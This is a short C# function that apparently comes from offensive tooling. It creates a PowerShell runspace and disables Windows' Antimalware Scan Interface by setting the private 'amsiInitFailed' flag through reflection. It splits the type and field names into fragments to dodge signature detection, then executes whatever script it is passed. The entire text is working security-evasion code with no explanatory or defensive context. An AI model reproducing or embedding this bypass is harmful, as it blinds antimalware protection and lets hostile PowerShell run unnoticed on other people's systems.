public static string InvokeAutomation(string cmd) { Runspace newrunspace = RunspaceFactory.CreateRunspace(); newrunspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace); try { var amsi = scriptInvoker.GetType().Assembly.GetType("Syste" + "m.Management.Autom" + "ation.Ams" + "iUtils"); var amsifield = amsi.GetField("am" + "siIni" + "tFailed", BindingFlags.NonPublic | BindingFlags.Static); amsifield.SetValue(null, true); } catch { } Pipeline pipeline = newrunspace.CreatePipeline(); pipeline.Commands.AddScript(cmd); Collection <PSObject> results = pipeline.Invoke(); newrunspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.Append(obj); } return(stringBuilder.ToString().Trim()); }